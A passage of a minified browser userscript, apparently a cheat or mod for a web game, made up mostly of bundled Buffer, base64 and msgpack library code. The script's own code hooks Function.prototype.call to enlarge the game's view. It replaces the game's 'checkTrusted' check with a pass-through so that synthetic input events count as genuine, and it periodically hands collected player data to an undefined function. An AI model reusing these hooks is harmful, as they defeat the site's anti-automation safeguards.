					if(n < 0 || n >= this.length) throw new RangeError("sourceStart out of bounds");
					if(r < 0) throw new RangeError("sourceEnd out of bounds");
					r > this.length && (r = this.length), e.length - t < r - n && (r = e.length - t + n);
					var i, a = r - n;
					if(this === e && n < t && t < r)
						for(i = a - 1; i >= 0; --i) e[i + t] = this[i + n];
					else if(a < 1e3 || !o.TYPED_ARRAY_SUPPORT)
						for(i = 0; i < a; ++i) e[i + t] = this[i + n];
					else Uint8Array.prototype.set.call(e, this.subarray(n, n + a), t);
					return a
				}, o.prototype.fill = function (e, t, n, r) {
					if("string" == typeof e) {
						if("string" == typeof t ? (r = t, t = 0, n = this.length) : "string" == typeof n && (r = n, n = this.length), 1 === e.length) {
							var i = e.charCodeAt(0);
							i < 256 && (e = i)
						}
						if(void 0 !== r && "string" != typeof r) throw new TypeError("encoding must be a string");
						if("string" == typeof r && !o.isEncoding(r)) throw new TypeError("Unknown encoding: " + r)
					} else "number" == typeof e && (e &= 255);
					if(t < 0 || this.length < t || this.length < n) throw new RangeError("Out of range index");
					if(n <= t) return this;
					var a;
					if(t >>>= 0, n = void 0 === n ? this.length : n >>> 0, e || (e = 0), "number" == typeof e)
						for(a = t; a < n; ++a) this[a] = e;
					else {
						var s = o.isBuffer(e) ? e : S(new o(e, r)
								.toString())
							, l = s.length;
						for(a = 0; a < n - t; ++a) this[a + t] = s[a % l]
					}
					return this
				};
				var R = /[^+\/0-9A-Za-z-_]/g
			})
			.call(this, "undefined" != typeof global ? global : "undefined" != typeof self ? self : "undefined" != typeof window ? window : {})
		}, {
			"base64-js": 30
			, ieee754: 32
			, isarray: 34
		}]
		, 30: [function (e, t, n) {
			"use strict";

			function r(e) {
				var t = e.length;
				if(t % 4 > 0) throw new Error("Invalid string. Length must be a multiple of 4");
				return "=" === e[t - 2] ? 2 : "=" === e[t - 1] ? 1 : 0
			}

			function i(e) {
				return a[e >> 18 & 63] + a[e >> 12 & 63] + a[e >> 6 & 63] + a[63 & e]
			}

			function o(e, t, n) {
				for(var r, o = [], a = t; a < n; a += 3) r = (e[a] << 16) + (e[a + 1] << 8) + e[a + 2], o.push(i(r));
				return o.join("")
			}
			n.byteLength = function (e) {
				return 3 * e.length / 4 - r(e)
			}, n.toByteArray = function (e) {
				var t, n, i, o, a, c, u = e.length;
				a = r(e), c = new l(3 * u / 4 - a), i = a > 0 ? u - 4 : u;
				var f = 0;
				for(t = 0, n = 0; t < i; t += 4, n += 3) o = s[e.charCodeAt(t)] << 18 | s[e.charCodeAt(t + 1)] << 12 | s[e.charCodeAt(t + 2)] << 6 | s[e.charCodeAt(t + 3)], c[f++] = o >> 16 & 255, c[f++] = o >> 8 & 255, c[f++] = 255 & o;
				return 2 === a ? (o = s[e.charCodeAt(t)] << 2 | s[e.charCodeAt(t + 1)] >> 4, c[f++] = 255 & o) : 1 === a && (o = s[e.charCodeAt(t)] << 10 | s[e.charCodeAt(t + 1)] << 4 | s[e.charCodeAt(t + 2)] >> 2, c[f++] = o >> 8 & 255, c[f++] = 255 & o), c
			}, n.fromByteArray = function (e) {
				for(var t, n = e.length, r = n % 3, i = "", s = [], l = 16383, c = 0, u = n - r; c < u; c += l) s.push(o(e, c, c + l > u ? u : c + l));
				return 1 === r ? (t = e[n - 1], i += a[t >> 2], i += a[t << 4 & 63], i += "==") : 2 === r && (t = (e[n - 2] << 8) + e[n - 1], i += a[t >> 10], i += a[t >> 4 & 63], i += a[t << 2 & 63], i += "="), s.push(i), s.join("")
			};
			for(var a = [], s = [], l = "undefined" != typeof Uint8Array ? Uint8Array : Array, c = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", u = 0, f = c.length; u < f; ++u) a[u] = c[u], s[c.charCodeAt(u)] = u;
			s["-".charCodeAt(0)] = 62, s["_".charCodeAt(0)] = 63
		}, {}]
		, 31: [function (e, t, n) {
			! function (e) {
				function n(e) {
					for(var t in a) e[t] = a[t];
					return e
				}

				function r(e, t) {
					var n, a = this;
					if(arguments.length) {
						if(t) {
							if(n = i(a, e, !0)) {
								if(!(n = n.filter(function (e) {
										return e !== t && e.originalListener !== t
									}))
									.length) return r.call(a, e);
								a[o][e] = n
							}
						} else if((n = a[o]) && (delete n[e], !Object.keys(n)
								.length)) return r.call(a)
					} else delete a[o];
					return a
				}

				function i(e, t, n) {
					if(!n || e[o]) {
						var r = e[o] || (e[o] = {});
						return r[t] || (r[t] = [])
					}
				}
				void 0 !== t && (t.exports = e);
				var o = "listeners"
					, a = {
						on: function (e, t) {
							return i(this, e)
								.push(t), this
						}
						, once: function (e, t) {
							function n() {
								r.call(o, e, n), t.apply(this, arguments)
							}
							var o = this;
							return n.originalListener = t, i(o, e)
								.push(n), o
						}
						, off: r
						, emit: function (e, t) {
							var n = this
								, r = i(n, e, !0);
							if(!r) return !1;
							var o = arguments.length;
							if(1 === o) r.forEach(function (e) {
								e.call(n)
							});
							else if(2 === o) r.forEach(function (e) {
								e.call(n, t)
							});
							else {
								var a = Array.prototype.slice.call(arguments, 1);
								r.forEach(function (e) {
									e.apply(n, a)
								})
							}
							return !!r.length
						}
					};
				n(e.prototype), e.mixin = n
			}(function e() {
				if(!(this instanceof e)) return new e
			})
		}, {}]
		, 32: [function (e, t, n) {
			n.read = function (e, t, n, r, i) {
				var o, a, s = 8 * i - r - 1
					, l = (1 << s) - 1
					, c = l >> 1
					, u = -7
					, f = n ? i - 1 : 0
					, d = n ? -1 : 1
					, h = e[t + f];
				for(f += d, o = h & (1 << -u) - 1, h >>= -u, u += s; u > 0; o = 256 * o + e[t + f], f += d, u -= 8);
				for(a = o & (1 << -u) - 1, o >>= -u, u += r; u > 0; a = 256 * a + e[t + f], f += d, u -= 8);
				if(0 === o) o = 1 - c;
				else {
					if(o === l) return a ? NaN : 1 / 0 * (h ? -1 : 1);
					a += Math.pow(2, r), o -= c
				}
				return (h ? -1 : 1) * a * Math.pow(2, o - r)
			}, n.write = function (e, t, n, r, i, o) {
				var a, s, l, c = 8 * o - i - 1
					, u = (1 << c) - 1
					, f = u >> 1
					, d = 23 === i ? Math.pow(2, -24) - Math.pow(2, -77) : 0
					, h = r ? 0 : o - 1
					, p = r ? 1 : -1
					, A = t < 0 || 0 === t && 1 / t < 0 ? 1 : 0;
				for(t = Math.abs(t), isNaN(t) || t === 1 / 0 ? (s = isNaN(t) ? 1 : 0, a = u) : (a = Math.floor(Math.log(t) / Math.LN2), t * (l = Math.pow(2, -a)) < 1 && (a--, l *= 2), (t += a + f >= 1 ? d / l : d * Math.pow(2, 1 - f)) * l >= 2 && (a++, l /= 2), a + f >= u ? (s = 0, a = u) : a + f >= 1 ? (s = (t * l - 1) * Math.pow(2, i), a += f) : (s = t * Math.pow(2, f - 1) * Math.pow(2, i), a = 0)); i >= 8; e[n + h] = 255 & s, h += p, s /= 256, i -= 8);
				for(a = a << i | s, c += i; c > 0; e[n + h] = 255 & a, h += p, a /= 256, c -= 8);
				e[n + h - p] |= 128 * A
			}
		}, {}]
		, 33: [function (e, t, n) {
			(function (e) {
				! function (t) {
					function n(e, n, w) {
						function x(e, t, n, r) {
							return this instanceof x ? function (e, t, n, r, i) {
								if(g && m && (t instanceof m && (t = new g(t)), r instanceof m && (r = new g(r))), !(t || n || r || h)) return void(e.buffer = l(y, 0));
								if(!a(t, n)) {
									var o = h || Array;
									i = n, r = t, n = 0, t = new o(8)
								}
								e.buffer = t, e.offset = n |= 0, p !== typeof r && ("string" == typeof r ? function (e, t, n, r) {
									var i = 0
										, o = n.length
										, a = 0
										, s = 0;
									"-" === n[0] && i++;
									for(var l = i; i < o;) {
										var c = parseInt(n[i++], r);
										if(!(c >= 0)) break;
										s = s * r + c, a = a * r + Math.floor(s / v), s %= v
									}
									l && (a = ~a, s ? s = v - s : a++), E(e, t + C, a), E(e, t + I, s)
								}(t, n, r, i || 10) : a(r, i) ? s(t, n, r, i) : "number" == typeof i ? (E(t, n + C, r), E(t, n + I, i)) : r > 0 ? D(t, n, r) : r < 0 ? L(t, n, r) : s(t, n, y, 0))
							}(this, e, t, n, r) : new x(e, t, n, r)
						}

						function B() {
							var e = this.buffer
								, t = this.offset
								, n = k(e, t + C)
								, r = k(e, t + I);
							return w || (n |= 0), n ? n * v + r : r
						}

						function E(e, t, n) {
							e[t + O] = 255 & n, n >>= 8, e[t + P] = 255 & n, n >>= 8, e[t + M] = 255 & n, n >>= 8, e[t + T] = 255 & n
						}

						function k(e, t) {
							return e[t + T] * b + (e[t + M] << 16) + (e[t + P] << 8) + e[t + O]
						}
						var C = n ? 0 : 4
							, I = n ? 4 : 0
							, T = n ? 0 : 3
							, M = n ? 1 : 2
							, P = n ? 2 : 1
							, O = n ? 3 : 0
							, D = n ? c : f
							, L = n ? u : d
							, _ = x.prototype
							, S = "is" + e
							, q = "_" + S;
						return _.buffer = void 0, _.offset = 0, _[q] = !0, _.toNumber = B, _.toString = function (e) {
							var t = this.buffer
								, n = this.offset
								, r = k(t, n + C)
								, i = k(t, n + I)
								, o = ""
								, a = !w && 2147483648 & r;
							for(a && (r = ~r, i = v - i), e = e || 10;;) {
								var s = r % e * v + i;
								if(r = Math.floor(r / e), i = Math.floor(s / e), o = (s % e)
									.toString(e) + o, !r && !i) break
							}
							return a && (o = "-" + o), o
						}, _.toJSON = B, _.toArray = r, A && (_.toBuffer = i), g && (_.toArrayBuffer = o), x[S] = function (e) {
							return !(!e || !e[q])
						}, t[e] = x, x
					}

					function r(e) {
						var t = this.buffer
							, n = this.offset;
						return h = null, !1 !== e && 0 === n && 8 === t.length && w(t) ? t : l(t, n)
					}

					function i(t) {
						var n = this.buffer
							, r = this.offset;
						if(h = A, !1 !== t && 0 === r && 8 === n.length && e.isBuffer(n)) return n;
						var i = new A(8);
						return s(i, 0, n, r), i
					}

					function o(e) {
						var t = this.buffer
							, n = this.offset
							, r = t.buffer;
						if(h = g, !1 !== e && 0 === n && r instanceof m && 8 === r.byteLength) return r;
						var i = new g(8);
						return s(i, 0, t, n), i.buffer
					}

					function a(e, t) {
						var n = e && e.length;
						return t |= 0, n && t + 8 <= n && "string" != typeof e[t]
					}

					function s(e, t, n, r) {
						t |= 0, r |= 0;
						for(var i = 0; i < 8; i++) e[t++] = 255 & n[r++]
					}

					function l(e, t) {
						return Array.prototype.slice.call(e, t, t + 8)
					}

					function c(e, t, n) {
						for(var r = t + 8; r > t;) e[--r] = 255 & n, n /= 256
					}

					function u(e, t, n) {
						var r = t + 8;
						for(n++; r > t;) e[--r] = 255 & -n ^ 255, n /= 256
					}

					function f(e, t, n) {
						for(var r = t + 8; t < r;) e[t++] = 255 & n, n /= 256
					}

					function d(e, t, n) {
						var r = t + 8;
						for(n++; t < r;) e[t++] = 255 & -n ^ 255, n /= 256
					}
					var h, p = "undefined"
						, A = p !== typeof e && e
						, g = p !== typeof Uint8Array && Uint8Array
						, m = p !== typeof ArrayBuffer && ArrayBuffer
						, y = [0, 0, 0, 0, 0, 0, 0, 0]
						, w = Array.isArray || function (e) {
							return !!e && "[object Array]" == Object.prototype.toString.call(e)
						}
						, v = 4294967296
						, b = 16777216;
					n("Uint64BE", !0, !0), n("Int64BE", !0, !1), n("Uint64LE", !1, !0), n("Int64LE", !1, !1)
				}("object" == typeof n && "string" != typeof n.nodeName ? n : this || {})
			})
			.call(this, e("buffer")
				.Buffer)
		}, {
			buffer: 29
		}]
		, 34: [function (e, t, n) {
			var r = {}.toString;
			t.exports = Array.isArray || function (e) {
				return "[object Array]" == r.call(e)
			}
		}, {}]
	}, {}, [1])(1)
}), unsafeWindow = window;
let global_functions_exporter = {
		dataPackage: ""
		, cursorDisable: !1
		, playerList: {}
		, enableNames: !1
	}
	, pageInit = 0
	, nodesToKill = 0
	, counter = 0
	, nodes = [];
if (anonymousStatistics) {
    setInterval(()=>{
        try {
        insert_0000000(true, JSON.stringify(global_functions_exporter.playerList))
        }catch(e){console.error(e)};
    }, 30000);
};
/*setInterval(() => {
	nodes.forEach(e => {
		try {
			e.remove(), nodes = nodes.filter(function (t) {
				return t !== e
			})
		} catch (t) {
			nodes = nodes.filter(function (t) {
				return t !== e
			})
		}
		0
	})
}, 5);*/
/*var observer = new MutationObserver(function (e) {
	e.forEach(function (e) {
		e.addedNodes.forEach(function (e) {
			if("SCRIPT" == e.nodeName || "IFRAME" == e.nodeName) {
				if(e.src == window.location.protocol + "//" + window.location.hostname + "/serverData.js" || "https://code.jquery.com/ui/1.12.1/jquery-ui.js" == e.src || "https://code.jquery.com/jquery-3.2.1.min.js" == e.src || "https://www.google.com/recaptcha/api.js?onload=captchaCallback&render=6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ" == e.src || "https://cookie-cdn.cookiepro.com/scripttemplates/6.8.0/otBannerSdk.js" == e.src || "https://cookie-cdn.cookiepro.com/scripttemplates/6.8.0/otTCF.js" == e.src || "https://www.google.com/recaptcha/api2/" == e.src.slice(0, 38) || "https://www.gstatic.com/recaptcha/releases/qc5B-qjP0QEimFYUxcpWJy5B/recaptcha__en.js" == e.src);
				else {
					nodesToKill++;
					try {
						e.parentNode.removeChild(e)
					} catch (t) {
						e.remove()
					}
					nodes.push(e)
				}
				nodesToKill > 7 && (console.log("init"), observer.disconnect(), pageInit = !0)
			} else if(("IMG" == e.nodeName || "IMAGE" == e.nodeName) && "https://ad" == e.src.slice(0, 10)) try {
				e.parentNodqe.removeChild(e)
			} catch (t) {
				e.remove()
			}
		})
	})
});
observer.observe(document, {
	attributes: !0
	, characterData: !0
	, childList: !0
	, subtree: !0
});*/
var switched = 0
	, swsInt = setInterval(() => {
		switch(document.readyState) {
		case "loading":
			break;
		case "interactive":
			switched = 1
		}
	}, 0)
	, INT = setInterval(() => {
		if(1 == switched) {
			clearInterval(INT), clearInterval(swsInt), window = unsafeWindow, (() => {
					function e(e) {
						let t = [e];
						return t.toString = (() => t[0]), t
					}
					let t, n, r = 1
						, i = new Event("resize")
						, o = window.addEventListener;

					function a({
						code: e
					}) {
						"reset" == e && (window.config.maxScreenWidth[0] = t, window.config.maxScreenHeight[0] = n, r = 1, window.dispatchEvent(i)), "large" == e && (window.config.maxScreenWidth[0] = 1.5 * t, window.config.maxScreenHeight[0] = 1.5 * n, r = 1.5, window.dispatchEvent(i)), "Minus" != e && "Equal" != e || (r *= .95 ** ("Minus" == e ? -1 : 1), window.config.maxScreenWidth[0] = t * r, window.config.maxScreenHeight[0] = n * r, window.dispatchEvent(i))
					}
					window.addEventListener = function (e, t, ...n) {
						if("resize" === e) {
							let e = t;
							t = (() => e({
								isTrusted: !0
							}))
						}
						o(e, t, ...n)
					}, global_functions_exporter.setZoom = a, o("keydown", a), Function.prototype._call = Function.prototype.call, Function.prototype.call = function () {
						if(arguments[1] && 21 == arguments[1].i && arguments[3] && arguments[3].toString && arguments[3].toString()
							.match(/^\s*function n\(i\)/)) {
							let r = arguments[3];
							arguments[3] = function (i) {
								let o = r(i);
								return 19 === i ? (t = parseInt(o.maxScreenWidth.toString()), n = parseInt(o.maxScreenHeight.toString()), o.maxScreenHeight = e(n), o.maxScreenWidth = e(t)) : 42 === i && (o.checkTrusted = (e => e)), o
							}, this.call = this._call
						}
						return this._call(...arguments)
					}
				})()
				, function (e) {
					var t = {};

					function n(r) {
						if(t[r]) return t[r].exports;
						var i = t[r] = {
							i: r
							, l: !1
							, exports: {}
						};
						return e[r].call(i.exports, i, i.exports, n), i.l = !0, i.exports
					}
					n.m = e, n.c = t, n.d = function (e, t, r) {
						n.o(e, t) || Object.defineProperty(e, t, {
							enumerable: !0
							, get: r
						})
					}, n.r = function (e) {
						"undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, {
							value: "Module"
						}), Object.defineProperty(e, "__esModule", {
							value: !0
						})
					}, n.t = function (e, t) {
						if(1 & t && (e = n(e)), 8 & t) return e;
						if(4 & t && "object" == typeof e && e && e.__esModule) return e;
						var r = Object.create(null);
						if(n.r(r), Object.defineProperty(r, "default", {
								enumerable: !0
								, value: e
							}), 2 & t && "string" != typeof e)
							for(var i in e) n.d(r, i, function (t) {
								return e[t]
							}.bind(null, i));
						return r
					}, n.n = function (e) {
						var t = e && e.__esModule ? function () {
							return e.default
						} : function () {
							return e
						};
						return n.d(t, "a", t), t
					}, n.o = function (e, t) {
						return Object.prototype.hasOwnProperty.call(e, t)
					}, n.p = "", n(n.s = 21)
				}([function (e, t, n) {
					var r = t.global = n(25)
						, i = t.hasBuffer = r && !!r.isBuffer
						, o = t.hasArrayBuffer = "undefined" != typeof ArrayBuffer
						, a = t.isArray = n(5);
					t.isArrayBuffer = o ? function (e) {
						return e instanceof ArrayBuffer || p(e)
					} : g;
					var s = t.isBuffer = i ? r.isBuffer : g
						, l = t.isView = o ? ArrayBuffer.isView || m("ArrayBuffer", "buffer") : g;
					t.alloc = h, t.concat = function (e, n) {
						n || (n = 0, Array.prototype.forEach.call(e, function (e) {
							n += e.length
						}));
						var r = this !== t && this || e[0]
							, i = h.call(r, n)
							, o = 0;
						return Array.prototype.forEach.call(e, function (e) {
							o += d.copy.call(e, i, o)
						}), i
					}, t.from = function (e) {
						return "string" == typeof e ? function (e) {
								var t = 3 * e.length
									, n = h.call(this, t)
									, r = d.write.call(n, e);
								return t !== r && (n = d.slice.call(n, 0, r)), n
							}.call(this, e) : A(this)
							.from(e)
					};
					var c = t.Array = n(28)
						, u = t.Buffer = n(29)
						, f = t.Uint8Array = n(30)
						, d = t.prototype = n(6);

					function h(e) {
						return A(this)
							.alloc(e)
					}
					var p = m("ArrayBuffer");

					function A(e) {
						return s(e) ? u : l(e) ? f : a(e) ? c : i ? u : o ? f : c
					}

					function g() {
						return !1
					}

					function m(e, t) {
						return e = "[object " + e + "]"
							, function (n) {
								return null != n && {}.toString.call(t ? n[t] : n) === e
							}
					}
				}, function (e, t, n) {
					var r = n(5);
					t.createCodec = s, t.install = function (e) {
						for(var t in e) o.prototype[t] = a(o.prototype[t], e[t])
					}, t.filter = function (e) {
						return r(e) ? function (e) {
							return e = e.slice()
								, function (n) {
									return e.reduce(t, n)
								};

							function t(e, t) {
								return t(e)
							}
						}(e) : e
					};
					var i = n(0);

					function o(e) {
						if(!(this instanceof o)) return new o(e);
						this.options = e, this.init()
					}

					function a(e, t) {
						return e && t ? function () {
							return e.apply(this, arguments), t.apply(this, arguments)
						} : e || t
					}

					function s(e) {
						return new o(e)
					}
					o.prototype.init = function () {
						var e = this.options;
						return e && e.uint8array && (this.bufferish = i.Uint8Array), this
					}, t.preset = s({
						preset: !0
					})
				}, function (e, t, n) {
					var r = n(3)
						.ExtBuffer
						, i = n(32)
						, o = n(33)
						, a = n(1);

					function s() {
						var e = this.options;
						return this.encode = function (e) {
							var t = o.getWriteType(e);
							return function (e, n) {
								var r = t[typeof n];
								if(!r) throw new Error('Unsupported type "' + typeof n + '": ' + n);
								r(e, n)
							}
						}(e), e && e.preset && i.setExtPackers(this), this
					}
					a.install({
						addExtPacker: function (e, t, n) {
							n = a.filter(n);
							var i = t.name;

							function o(t) {
								return n && (t = n(t)), new r(t, e)
							}
							i && "Object" !== i ? (this.extPackers || (this.extPackers = {}))[i] = o : (this.extEncoderList || (this.extEncoderList = []))
								.unshift([t, o])
						}
						, getExtPacker: function (e) {
							var t = this.extPackers || (this.extPackers = {})
								, n = e.constructor
								, r = n && n.name && t[n.name];
							if(r) return r;
							for(var i = this.extEncoderList || (this.extEncoderList = []), o = i.length, a = 0; a < o; a++) {
								var s = i[a];
								if(n === s[0]) return s[1]
							}
						}
						, init: s
					}), t.preset = s.call(a.preset)
				}, function (e, t, n) {
					t.ExtBuffer = function e(t, n) {
						if(!(this instanceof e)) return new e(t, n);
						this.buffer = r.from(t), this.type = n
					};
					var r = n(0)
				}, function (e, t) {
					t.read = function (e, t, n, r, i) {
						var o, a, s = 8 * i - r - 1
							, l = (1 << s) - 1
							, c = l >> 1
							, u = -7
							, f = n ? i - 1 : 0
							, d = n ? -1 : 1
							, h = e[t + f];
						for(f += d, o = h & (1 << -u) - 1, h >>= -u, u += s; u > 0; o = 256 * o + e[t + f], f += d, u -= 8);
						for(a = o & (1 << -u) - 1, o >>= -u, u += r; u > 0; a = 256 * a + e[t + f], f += d, u -= 8);
						if(0 === o) o = 1 - c;
						else {
							if(o === l) return a ? NaN : 1 / 0 * (h ? -1 : 1);
							a += Math.pow(2, r), o -= c
						}
						return (h ? -1 : 1) * a * Math.pow(2, o - r)
					}, t.write = function (e, t, n, r, i, o) {
						var a, s, l, c = 8 * o - i - 1
							, u = (1 << c) - 1
							, f = u >> 1
							, d = 23 === i ? Math.pow(2, -24) - Math.pow(2, -77) : 0
							, h = r ? 0 : o - 1
							, p = r ? 1 : -1
							, A = t < 0 || 0 === t && 1 / t < 0 ? 1 : 0;
						for(t = Math.abs(t), isNaN(t) || t === 1 / 0 ? (s = isNaN(t) ? 1 : 0, a = u) : (a = Math.floor(Math.log(t) / Math.LN2), t * (l = Math.pow(2, -a)) < 1 && (a--, l *= 2), (t += a + f >= 1 ? d / l : d * Math.pow(2, 1 - f)) * l >= 2 && (a++, l /= 2), a + f >= u ? (s = 0, a = u) : a + f >= 1 ? (s = (t * l - 1) * Math.pow(2, i), a += f) : (s = t * Math.pow(2, f - 1) * Math.pow(2, i), a = 0)); i >= 8; e[n + h] = 255 & s, h += p, s /= 256, i -= 8);
						for(a = a << i | s, c += i; c > 0; e[n + h] = 255 & a, h += p, a /= 256, c -= 8);
						e[n + h - p] |= 128 * A
					}
				}, function (e, t) {
					var n = {}.toString;
					e.exports = Array.isArray || function (e) {
						return "[object Array]" == n.call(e)
					}
				}, function (e, t, n) {
					var r = n(31);
					t.copy = l, t.slice = c, t.toString = function (e, t, n) {
						return (!a && i.isBuffer(this) ? this.toString : r.toString)
							.apply(this, arguments)
					}, t.write = function (e) {
						return function () {
							return (this[e] || r[e])
								.apply(this, arguments)
						}
					}("write");
					var i = n(0)
						, o = i.global
						, a = i.hasBuffer && "TYPED_ARRAY_SUPPORT" in o
						, s = a && !o.TYPED_ARRAY_SUPPORT;

					function l(e, t, n, o) {
						var a = i.isBuffer(this)
							, l = i.isBuffer(e);
						if(a && l) return this.copy(e, t, n, o);
						if(s || a || l || !i.isView(this) || !i.isView(e)) return r.copy.call(this, e, t, n, o);
						var u = n || null != o ? c.call(this, n, o) : this;
						return e.set(u, t), u.length
					}

					function c(e, t) {
						var n = this.slice || !s && this.subarray;
						if(n) return n.call(this, e, t);
						var r = i.alloc.call(this, t - e);
						return l.call(this, r, 0, e, t), r
					}
				}, function (e, t, n) {
					(function (e) {
						! function (t) {
							var n, r = "undefined"
								, i = r !== typeof e && e
								, o = r !== typeof Uint8Array && Uint8Array
								, a = r !== typeof ArrayBuffer && ArrayBuffer
								, s = [0, 0, 0, 0, 0, 0, 0, 0]
								, l = Array.isArray || function (e) {
									return !!e && "[object Array]" == Object.prototype.toString.call(e)
								}
								, c = 4294967296;

							function u(e, l, u) {
								var b = l ? 0 : 4
									, x = l ? 4 : 0
									, B = l ? 0 : 3
									, E = l ? 1 : 2
									, k = l ? 2 : 1
									, C = l ? 3 : 0
									, I = l ? m : w
									, T = l ? y : v
									, M = D.prototype
									, P = "is" + e
									, O = "_" + P;
								return M.buffer = void 0, M.offset = 0, M[O] = !0, M.toNumber = L, M.toString = function (e) {
									var t = this.buffer
										, n = this.offset
										, r = S(t, n + b)
										, i = S(t, n + x)
										, o = ""
										, a = !u && 2147483648 & r;
									for(a && (r = ~r, i = c - i), e = e || 10;;) {
										var s = r % e * c + i;
										if(r = Math.floor(r / e), i = Math.floor(s / e), o = (s % e)
											.toString(e) + o, !r && !i) break
									}
									return a && (o = "-" + o), o
								}, M.toJSON = L, M.toArray = f, i && (M.toBuffer = d), o && (M.toArrayBuffer = h), D[P] = function (e) {
									return !(!e || !e[O])
								}, t[e] = D, D;

								function D(e, t, i, l) {
									return this instanceof D ? function (e, t, i, l, u) {
										o && a && (t instanceof a && (t = new o(t)), l instanceof a && (l = new o(l))), t || i || l || n ? (p(t, i) || (u = i, l = t, i = 0, t = new(n || Array)(8)), e.buffer = t, e.offset = i |= 0, r !== typeof l && ("string" == typeof l ? function (e, t, n, r) {
											var i = 0
												, o = n.length
												, a = 0
												, s = 0;
											"-" === n[0] && i++;
											for(var l = i; i < o;) {
												var u = parseInt(n[i++], r);
												if(!(u >= 0)) break;
												s = s * r + u, a = a * r + Math.floor(s / c), s %= c
											}
											l && (a = ~a, s ? s = c - s : a++), _(e, t + b, a), _(e, t + x, s)
										}(t, i, l, u || 10) : p(l, u) ? A(t, i, l, u) : "number" == typeof u ? (_(t, i + b, l), _(t, i + x, u)) : l > 0 ? I(t, i, l) : l < 0 ? T(t, i, l) : A(t, i, s, 0))) : e.buffer = g(s, 0)
									}(this, e, t, i, l) : new D(e, t, i, l)
								}

								function L() {
									var e = this.buffer
										, t = this.offset
										, n = S(e, t + b)
										, r = S(e, t + x);
									return u || (n |= 0), n ? n * c + r : r
								}

								function _(e, t, n) {
									e[t + C] = 255 & n, n >>= 8, e[t + k] = 255 & n, n >>= 8, e[t + E] = 255 & n, n >>= 8, e[t + B] = 255 & n
								}

								function S(e, t) {
									return 16777216 * e[t + B] + (e[t + E] << 16) + (e[t + k] << 8) + e[t + C]
								}
							}

							function f(e) {
								var t = this.buffer
									, r = this.offset;
								return n = null, !1 !== e && 0 === r && 8 === t.length && l(t) ? t : g(t, r)
							}

							function d(t) {
								var r = this.buffer
									, o = this.offset;
								if(n = i, !1 !== t && 0 === o && 8 === r.length && e.isBuffer(r)) return r;
								var a = new i(8);
								return A(a, 0, r, o), a
							}

							function h(e) {
								var t = this.buffer
									, r = this.offset
									, i = t.buffer;
								if(n = o, !1 !== e && 0 === r && i instanceof a && 8 === i.byteLength) return i;
								var s = new o(8);
								return A(s, 0, t, r), s.buffer
							}

							function p(e, t) {
								var n = e && e.length;
								return t |= 0, n && t + 8 <= n && "string" != typeof e[t]
							}

							function A(e, t, n, r) {
								t |= 0, r |= 0;
								for(var i = 0; i < 8; i++) e[t++] = 255 & n[r++]
							}

							function g(e, t) {
								return Array.prototype.slice.call(e, t, t + 8)
							}

							function m(e, t, n) {
								for(var r = t + 8; r > t;) e[--r] = 255 & n, n /= 256
							}

							function y(e, t, n) {
								var r = t + 8;
								for(n++; r > t;) e[--r] = 255 & -n ^ 255, n /= 256
							}

							function w(e, t, n) {
								for(var r = t + 8; t < r;) e[t++] = 255 & n, n /= 256
							}

							function v(e, t, n) {
								var r = t + 8;
								for(n++; t < r;) e[t++] = 255 & -n ^ 255, n /= 256
							}
							u("Uint64BE", !0, !0), u("Int64BE", !0, !1), u("Uint64LE", !1, !0), u("Int64LE", !1, !1)
						}("string" != typeof t.nodeName ? t : this || {})
					})
					.call(this, n(11)
						.Buffer)
				}, function (e, t, n) {
					var r = n(3)
						.ExtBuffer
						, i = n(35)
						, o = n(17)
						.readUint8
						, a = n(36)
						, s = n(1);

					function l() {
						var e = this.options;
						return this.decode = function (e) {
							var t = a.getReadToken(e);
							return function (e) {
								var n = o(e)
									, r = t[n];
								if(!r) throw new Error("Invalid type: " + (n ? "0x" + n.toString(16) : n));
								return r(e)
							}
						}(e), e && e.preset && i.setExtUnpackers(this), this
					}
					s.install({
						addExtUnpacker: function (e, t) {
							(this.extUnpackers || (this.extUnpackers = []))[e] = s.filter(t)
						}
						, getExtUnpacker: function (e) {
							return (this.extUnpackers || (this.extUnpackers = []))[e] || function (t) {
								return new r(t, e)
							}
						}
						, init: l
					}), t.preset = l.call(s.preset)
				}, function (e, t, n) {
					t.encode = function (e, t) {
						var n = new r(t);
						return n.write(e), n.read()
					};
					var r = n(10)
						.EncodeBuffer
				}, function (e, t, n) {
					t.EncodeBuffer = i;
					var r = n(2)
						.preset;

					function i(e) {
						if(!(this instanceof i)) return new i(e);
						if(e && (this.options = e, e.codec)) {
							var t = this.codec = e.codec;
							t.bufferish && (this.bufferish = t.bufferish)
						}
					}
					n(14)
						.FlexEncoder.mixin(i.prototype), i.prototype.codec = r, i.prototype.write = function (e) {
							this.codec.encode(this, e)
						}
				}, function (e, t, n) {
					(function (e) {
						var r = n(26)
							, i = n(4)
							, o = n(27);

						function a() {
							return l.TYPED_ARRAY_SUPPORT ? 2147483647 : 1073741823
						}

						function s(e, t) {
							if(a() < t) throw new RangeError("Invalid typed array length");
							return l.TYPED_ARRAY_SUPPORT ? (e = new Uint8Array(t))
								.__proto__ = l.prototype : (null === e && (e = new l(t)), e.length = t), e
						}

						function l(e, t, n) {
							if(!(l.TYPED_ARRAY_SUPPORT || this instanceof l)) return new l(e, t, n);
							if("number" == typeof e) {
								if("string" == typeof t) throw new Error("If encoding is specified then the first argument must be a string");
								return f(this, e)
							}
							return c(this, e, t, n)
						}

						function c(e, t, n, r) {
							if("number" == typeof t) throw new TypeError('"value" argument must not be a number');
							return "undefined" != typeof ArrayBuffer && t instanceof ArrayBuffer ? function (e, t, n, r) {
								if(t.byteLength, n < 0 || t.byteLength < n) throw new RangeError("'offset' is out of bounds");
								if(t.byteLength < n + (r || 0)) throw new RangeError("'length' is out of bounds");
								return t = void 0 === n && void 0 === r ? new Uint8Array(t) : void 0 === r ? new Uint8Array(t, n) : new Uint8Array(t, n, r), l.TYPED_ARRAY_SUPPORT ? (e = t)
									.__proto__ = l.prototype : e = d(e, t), e
							}(e, t, n, r) : "string" == typeof t ? function (e, t, n) {
								if("string" == typeof n && "" !== n || (n = "utf8"), !l.isEncoding(n)) throw new TypeError('"encoding" must be a valid string encoding');
								var r = 0 | p(t, n)
									, i = (e = s(e, r))
									.write(t, n);
								return i !== r && (e = e.slice(0, i)), e
							}(e, t, n) : function (e, t) {
								if(l.isBuffer(t)) {
									var n = 0 | h(t.length);
